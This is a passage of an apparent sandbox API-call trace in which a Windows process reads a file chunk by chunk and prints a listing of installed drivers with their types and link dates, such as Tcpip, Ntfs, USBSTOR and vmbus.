lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.565] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=15360) returned 1 [0151.565] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.565] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="M \r\nLSI_SCSI LSI_SCSI Kernel 4/16/2009 10:13:50 PM \r\nluafv UAC File Virtualizatio File System 7/13/2009 11:26:13 PM \r\nmegasas megasas Kernel 5/19/2009 1:09:46 AM \r\nMegaSR MegaSR Kernel 5/19/2009 1:25:54 AM \r\nModem Modem Kernel 7/14/2009 12:10:48 AM \r\nmonitor Microsoft Monitor Clas Kernel 7/13/2009 11:38:52 PM \r\nmouclass Mouse Class Driver Kernel 7/13/2009 11:1\x15") returned 512 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] GetFileType (hFile=0x50) returned 0x1 [0151.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.565] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.566] GetFileType (hFile=0x50) returned 0x1 [0151.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.566] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.566] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.566] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=15872) returned 1 [0151.566] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.566] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.566] GetFileType (hFile=0x50) returned 0x1 [0151.566] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="9:50 PM \r\nmouhid Mouse HID Driver Kernel 7/14/2009 12:00:20 AM \r\nmountmgr Mount Point Manager Kernel 11/20/2010 9:19:21 AM \r\nmpio mpio Kernel 11/20/2010 10:35:38 AM\r\nmpsdrv Windows Firewall Autho Kernel 7/14/2009 12:08:25 AM \r\nMRxDAV WebDav Client Redirect File System 11/20/2010 9:26:42 AM \r\nmrxsmb SMB MiniRedirector Wra File System 11/20/2010 9:27:41 AM \r\nmrxsmb10 SMB 1.x MiniRedirector File System 11/20/20\x15") returned 512 [0151.567] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=16384) returned 1 [0151.567] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.567] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="10 9:26:53 AM \r\nmrxsmb20 SMB 2.0 MiniRedirector File System 11/20/2010 9:26:47 AM \r\nmsahci msahci Kernel 11/20/2010 10:33:58 AM\r\nmsdsm msdsm Kernel 11/20/2010 10:35:34 AM\r\nMsfs Msfs File System 7/13/2009 11:19:47 PM \r\nmshidkmdf Pass-through HID to KM Kernel 7/14/2009 12:06:24 AM \r\nmsisadrv msisadrv Kernel 7/13/2009 11:19:26 PM \r\nMSKSSRV Microsoft Streaming Se Kernel 7/\x15") returned 512 [0151.567] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=16896) returned 1 [0151.568] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.568] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="14/2009 12:00:18 AM \r\nMSPCLOCK Microsoft Streaming Cl Kernel 7/14/2009 12:00:17 AM \r\nMSPQM Microsoft Streaming Qu Kernel 7/14/2009 12:00:17 AM \r\nMsRPC MsRPC Kernel 11/20/2010 9:21:56 AM \r\nmssmbios Microsoft System Manag Kernel 7/13/2009 11:31:10 PM \r\nMSTEE Microsoft Streaming Te Kernel 7/14/2009 12:00:17 AM \r\nMTConfig Microsoft Input Config Kernel 7/14/2009 12:02:08 AM \r\nMup Mup File Syste\x15") returned 512 [0151.568] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=17408) returned 1 [0151.568] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.568] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="m 7/13/2009 11:23:45 PM \r\nNativeWifiP NativeWiFi Filter Kernel 7/14/2009 12:07:23 AM \r\nNDIS NDIS System Driver Kernel 11/20/2010 9:23:30 AM \r\nNdisCap NDIS Capture LightWeig Kernel 7/14/2009 12:08:12 AM \r\nNdisTapi Remote Access NDIS TAP Kernel 7/14/2009 12:10:00 AM \r\nNdisuio NDIS Usermode I/O Prot Kernel 11/20/2010 10:50:08 AM\r\nNdisWan Remote Access NDIS WAN Kernel 11/20/2010 10:52:32 AM\r\nNDProxy NDIS Proxy Kern\x15") returned 512 [0151.568] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=17920) returned 1 [0151.568] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.568] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="el 11/20/2010 10:52:20 AM\r\nNetBIOS NetBIOS Interface File System 7/14/2009 12:09:26 AM \r\nNetBT NetBT Kernel 11/20/2010 9:23:18 AM \r\nnfrd960 nfrd960 Kernel 6/6/2006 9:11:48 PM \r\nNpfs Npfs File System 7/13/2009 11:19:48 PM \r\nnsiproxy NSI proxy service driv Kernel 7/13/2009 11:21:02 PM \r\nNtfs Ntfs File System 11/20/2010 9:20:57 AM \r\nNull Null \x15") returned 512 [0151.568] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=18432) returned 1 [0151.568] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.568] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Kernel 7/13/2009 11:19:37 PM \r\nnvraid nvraid Kernel 3/19/2010 8:59:20 PM \r\nnvstor nvstor Kernel 3/19/2010 8:45:11 PM \r\nnv_agp NVIDIA nForce AGP Bus Kernel 7/13/2009 11:38:44 PM \r\nohci1394 1394 OHCI Compliant Ho Kernel 7/14/2009 12:06:45 AM \r\nParport Parallel port driver Kernel 7/14/2009 12:00:40 AM \r\npartmgr Partition Manager Kernel 11/20/2010 9:20:00 AM \r\npci PCI Bus Driver \x15") returned 512 [0151.568] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=18944) returned 1 [0151.568] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.568] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Kernel 11/20/2010 9:19:11 AM \r\npciide pciide Kernel 7/13/2009 11:19:49 PM \r\npcmcia pcmcia Kernel 7/13/2009 11:31:10 PM \r\npcw Performance Counters f Kernel 7/13/2009 11:19:27 PM \r\nPEAUTH PEAUTH Kernel 7/14/2009 1:01:19 AM \r\nPptpMiniport WAN Miniport (PPTP) Kernel 11/20/2010 10:52:31 AM\r\nProcessor Processor Driver Kernel 7/13/2009 11:19:25 PM \r\nPsched QoS Packe\x15") returned 512 [0151.568] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=19456) returned 1 [0151.569] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.569] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="t Scheduler Kernel 11/20/2010 10:52:18 AM\r\nql2300 ql2300 Kernel 1/22/2009 11:05:06 PM \r\nql40xx ql40xx Kernel 5/19/2009 1:18:11 AM \r\nQWAVEdrv QWAVE driver Kernel 7/14/2009 12:09:48 AM \r\nRasAcd Remote Access Auto Con Kernel 7/14/2009 12:10:09 AM \r\nRasAgileVpn WAN Miniport (IKEv2) Kernel 7/14/2009 12:10:24 AM \r\nRasl2tp WAN Miniport (L2TP) Kernel 11/20/2010 10:52:34 AM\r\nRasPppoe Rem\x15") returned 512 [0151.569] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=19968) returned 1 [0151.569] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.569] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ote Access PPPOE Dr Kernel 7/14/2009 12:10:17 AM \r\nRasSstp WAN Miniport (SSTP) Kernel 7/14/2009 12:10:25 AM \r\nrdbss Redirected Buffering S File System 11/20/2010 9:27:51 AM \r\nrdpbus Remote Desktop Device Kernel 7/14/2009 12:17:46 AM \r\nRDPCDD RDPCDD Kernel 7/14/2009 12:16:34 AM \r\nRDPDR Terminal Server Device Kernel 11/20/2010 11:06:41 AM\r\nRDPENCDD RDP Encoder Mirror Dri Kernel 7/14/2009 12:16:34 AM \r\nRDPREFMP \x15") returned 512 [0151.569] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=20480) returned 1 [0151.569] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.569] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Reflector Display Driv Kernel 7/14/2009 12:16:35 AM \r\nRDPWD RDP Winstation Driver Kernel 11/20/2010 11:04:37 AM\r\nrdyboost ReadyBoost Kernel 11/20/2010 9:43:10 AM \r\nrspndr Link-Layer Topology Di Kernel 7/14/2009 12:08:50 AM \r\ns3cap s3cap Kernel 11/20/2010 9:57:33 AM \r\nsbp2port sbp2port Kernel 11/20/2010 9:19:21 AM \r\nscfilter Smart card PnP Class F Kernel 11/20/2010 10:09:59 AM\r\nsecd\x15") returned 512 [0151.569] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=20992) returned 1 [0151.569] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.569] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="rv Security Driver Kernel 9/13/2006 1:18:38 PM \r\nSerenum Serenum Filter Driver Kernel 7/14/2009 12:00:33 AM \r\nSerial Serial Kernel 7/14/2009 12:00:40 AM \r\nsermouse Serial Mouse Driver Kernel 7/14/2009 12:00:20 AM \r\nsffdisk SFF Storage Class Driv Kernel 7/14/2009 12:01:01 AM \r\nsffp_mmc SFF Storage Protocol D Kernel 7/14/2009 12:01:03 AM \r\nsffp_sd SFF Storage Protocol D Kernel 11/20/2010 10:34:00 AM\x15") returned 512 [0151.569] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=21504) returned 1 [0151.569] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.569] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="\r\nsfloppy High-Capacity Floppy D Kernel 7/14/2009 12:01:02 AM \r\nSiSRaid2 SiSRaid2 Kernel 9/24/2008 6:28:20 PM \r\nSiSRaid4 SiSRaid4 Kernel 10/1/2008 9:56:04 PM \r\nSmb Message-oriented TCP/I Kernel 7/14/2009 12:09:09 AM \r\nspldr Security Processor Loa Kernel 5/11/2009 4:56:27 PM \r\nsrv Server SMB 1.xxx Drive File System 11/20/2010 9:28:05 AM \r\nsrv2 Server SMB 2.xxx Drive File System 11/20/2010 9:27:\x15") returned 512 [0151.570] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=22016) returned 1 [0151.570] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.570] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="43 AM \r\nsrvnet srvnet File System 11/20/2010 9:27:20 AM \r\nstexstor stexstor Kernel 2/17/2009 11:03:36 PM \r\nstorflt Disk Virtual Machine B Kernel 11/20/2010 9:57:30 AM \r\nstorvsc storvsc Kernel 11/20/2010 9:57:32 AM \r\nswenum Software Bus Driver Kernel 7/14/2009 12:00:18 AM \r\nTcpip TCP/IP Protocol Driver Kernel 11/20/2010 9:25:52 AM \r\nTCPIP6 Microsoft IPv6 Protoco Kernel 11/20/2010\x15") returned 512 [0151.570] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=22528) returned 1 [0151.570] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.570] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 9:25:52 AM \r\ntcpipreg TCP/IP Registry Compat Kernel 11/20/2010 10:51:48 AM\r\nTDPIPE TDPIPE Kernel 7/14/2009 12:16:32 AM \r\nTDTCP TDTCP Kernel 7/14/2009 12:16:32 AM \r\ntdx NetIO Legacy TDI Suppo Kernel 11/20/2010 9:21:54 AM \r\nTermDD Terminal Device Driver Kernel 11/20/2010 11:03:40 AM\r\ntssecsrv Remote Desktop Service Kernel 11/20/2010 11:04:09 AM\r\nTsUsbFlt TsUsbFlt Kernel 11/2\x15") returned 512 [0151.570] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=23040) returned 1 [0151.570] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.570] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="0/2010 11:07:04 AM\r\nTsUsbGD Remote Desktop Generic Kernel 11/20/2010 11:07:04 AM\r\ntunnel Microsoft Tunnel Minip Kernel 11/20/2010 10:51:50 AM\r\nuagp35 Microsoft AGPv3.5 Filt Kernel 7/13/2009 11:38:43 PM \r\nudfs udfs File System 11/20/2010 9:26:11 AM \r\nuliagpkx Uli AGP Bus Filter Kernel 7/13/2009 11:38:48 PM \r\numbus UMBus Enumerator Drive Kernel 11/20/2010 10:44:37 AM\r\nUmPass Microsoft UMPass Drive Kernel \x15") returned 512 [0151.570] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=23552) returned 1 [0151.570] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.570] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 7/14/2009 12:06:52 AM \r\nusbccgp Microsoft USB Generic Kernel 11/20/2010 10:44:03 AM\r\nusbcir eHome Infrared Receive Kernel 7/14/2009 12:06:36 AM \r\nusbehci Microsoft USB 2.0 Enha Kernel 11/20/2010 10:43:54 AM\r\nusbhub Microsoft USB Standard Kernel 11/20/2010 10:44:30 AM\r\nusbohci Microsoft USB Open Hos Kernel 7/14/2009 12:06:30 AM \r\nusbprint Microsoft USB PRINTER Kernel 7/14/2009 12:38:18 AM \r\nUSBSTOR USB Mass Storage Drive Kernel\x15") returned 512 [0151.570] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=24064) returned 1 [0151.570] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.570] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 11/20/2010 10:44:05 AM\r\nusbuhci Microsoft USB Universa Kernel 7/14/2009 12:06:27 AM \r\nvdrvroot Microsoft Virtual Driv Kernel 7/14/2009 12:01:31 AM \r\nvga vga Kernel 7/13/2009 11:38:47 PM \r\nVgaSave VgaSave Kernel 7/13/2009 11:38:47 PM \r\nvhdmp vhdmp Kernel 11/20/2010 10:35:36 AM\r\nviaide viaide Kernel 7/13/2009 11:19:50 PM \r\nvmbus vmbus \x15") returned 512 [0151.571] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=24576) returned 1 [0151.571] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.571] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Kernel 11/20/2010 9:57:29 AM \r\nVMBusHID VMBusHID Kernel 11/20/2010 9:57:13 AM 